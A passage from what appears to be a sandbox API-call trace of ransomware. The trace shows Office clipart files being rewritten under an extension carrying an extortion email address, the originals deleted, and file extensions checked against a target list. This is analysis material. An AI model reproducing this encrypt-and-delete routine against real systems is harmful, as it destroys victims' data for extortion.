Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.221] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.221] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.222] GetLastError () returned 0x0 [0210.222] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4c90, lpOverlapped=0x0) returned 1 [0210.224] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0210.225] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.225] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0210.225] SetEndOfFile (hFile=0x3f8) returned 1 [0210.225] CloseHandle (hObject=0x3f8) returned 1 [0210.225] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.225] SetEndOfFile (hFile=0x53c) returned 1 [0210.228] CloseHandle (hObject=0x53c) returned 1 [0210.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString=".doc") returned 4 [0210.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString=".docx") returned 5 [0210.230] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.230] lstrlenW (lpString=".pdf") returned 4 [0210.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString=".xls") returned 4 [0210.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.230] lstrlenW (lpString=".xlsx") returned 5 [0210.230] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.230] lstrlenW (lpString=".ppt") returned 4 [0210.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString=".zip") returned 4 [0210.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.230] lstrlenW (lpString=".rar") returned 4 [0210.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString=".bz2") returned 4 [0210.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString=".7z") returned 3 [0210.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString=".dbf") returned 4 [0210.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString=".1cd") returned 4 [0210.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.230] lstrlenW (lpString=".jpg") returned 4 [0210.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString=".doc") returned 4 [0210.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString=".docx") returned 5 [0210.231] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.231] lstrlenW (lpString=".pdf") returned 4 [0210.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString=".xls") returned 4 [0210.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.231] lstrlenW (lpString=".xlsx") returned 5 [0210.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.231] lstrlenW (lpString=".ppt") returned 4 [0210.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString=".zip") returned 4 [0210.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.231] lstrlenW (lpString=".rar") returned 4 [0210.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString=".bz2") returned 4 [0210.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString=".7z") returned 3 [0210.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString=".dbf") returned 4 [0210.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString=".1cd") returned 4 [0210.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0210.231] lstrlenW (lpString=".jpg") returned 4 [0210.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.232] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.232] lstrlenW (lpString="J0106572.WMF") returned 12 [0210.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.333] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2148) returned 1 [0210.333] CloseHandle (hObject=0x3ec) returned 1 [0210.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0210.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.758] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.758] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0210.990] GetLastError () returned 0x0 [0210.990] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x864, lpOverlapped=0x0) returned 1 [0210.992] WriteFile (in: hFile=0x38c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x870, lpOverlapped=0x0) returned 1 [0210.993] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.993] WriteFile (in: hFile=0x38c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0210.993] SetEndOfFile (hFile=0x38c) returned 1 [0211.089] CloseHandle (hObject=0x38c) returned 1 [0211.089] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.089] SetEndOfFile (hFile=0x3ec) returned 1 [0211.091] CloseHandle (hObject=0x3ec) returned 1 [0211.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0211.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.196] lstrlenW (lpString=".doc") returned 4 [0211.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.196] lstrlenW (lpString=".docx") returned 5 [0211.196] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.196] lstrlenW (lpString=".pdf") returned 4 [0211.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.196] lstrlenW (lpString=".xls") returned 4 [0211.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.196] lstrlenW (lpString=".xlsx") returned 5 [0211.196] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.196] lstrlenW (lpString=".ppt") returned 4 [0211.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.196] lstrlenW (lpString=".zip") returned 4 [0211.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.196] lstrlenW (lpString=".rar") returned 4 [0211.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString=".bz2") returned 4 [0211.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString=".7z") returned 3 [0211.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString=".dbf") returned 4 [0211.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString=".1cd") returned 4 [0211.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString=".jpg") returned 4 [0211.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString=".doc") returned 4 [0211.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString=".docx") returned 5 [0211.197] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.197] lstrlenW (lpString=".pdf") returned 4 [0211.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString=".xls") returned 4 [0211.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.197] lstrlenW (lpString=".xlsx") returned 5 [0211.197] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.197] lstrlenW (lpString=".ppt") returned 4 [0211.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.197] lstrlenW (lpString=".zip") returned 4 [0211.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.197] lstrlenW (lpString=".rar") returned 4 [0211.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.197] lstrlenW (lpString=".bz2") returned 4 [0211.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.198] lstrlenW (lpString=".7z") returned 3 [0211.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.198] lstrlenW (lpString=".dbf") returned 4 [0211.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.198] lstrlenW (lpString=".1cd") returned 4 [0211.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0211.198] lstrlenW (lpString=".jpg") returned 4 [0211.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.198] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.198] lstrlenW (lpString="J0107152.WMF") returned 12 [0211.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.199] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22532) returned 1 [0211.199] CloseHandle (hObject=0x56c) returned 1 [0211.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0211.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.199] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.199] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.200] GetLastError () returned 0x0 [0211.200] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5804, lpOverlapped=0x0) returned 1 [0211.202] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5810, lpOverlapped=0x0) returned 1 [0211.203] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.203] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.203] SetEndOfFile (hFile=0x4d4) returned 1 [0211.203] CloseHandle (hObject=0x4d4) returned 1 [0211.204] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.204] SetEndOfFile (hFile=0x56c) returned 1 [0211.206] CloseHandle (hObject=0x56c) returned 1 [0211.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString=".doc") returned 4 [0211.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString=".docx") returned 5 [0211.208] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.208] lstrlenW (lpString=".pdf") returned 4 [0211.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString=".xls") returned 4 [0211.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.208] lstrlenW (lpString=".xlsx") returned 5 [0211.208] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.208] lstrlenW (lpString=".ppt") returned 4 [0211.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString=".zip") returned 4 [0211.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.208] lstrlenW (lpString=".rar") returned 4 [0211.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString=".bz2") returned 4 [0211.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString=".7z") returned 3 [0211.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString=".dbf") returned 4 [0211.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString=".1cd") returned 4 [0211.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.208] lstrlenW (lpString=".jpg") returned 4 [0211.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString=".doc") returned 4 [0211.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString=".docx") returned 5 [0211.209] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.209] lstrlenW (lpString=".pdf") returned 4 [0211.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString=".xls") returned 4 [0211.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.209] lstrlenW (lpString=".xlsx") returned 5 [0211.209] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.209] lstrlenW (lpString=".ppt") returned 4 [0211.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString=".zip") returned 4 [0211.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.209] lstrlenW (lpString=".rar") returned 4 [0211.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString=".bz2") returned 4 [0211.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString=".7z") returned 3 [0211.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString=".dbf") returned 4 [0211.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString=".1cd") returned 4 [0211.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0211.209] lstrlenW (lpString=".jpg") returned 4 [0211.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.210] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.210] lstrlenW (lpString="J0107154.WMF") returned 12 [0211.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.210] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22300) returned 1 [0211.210] CloseHandle (hObject=0x56c) returned 1 [0211.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0211.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.211] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.211] SetFilePointerEx (in: hFile=0x56c, 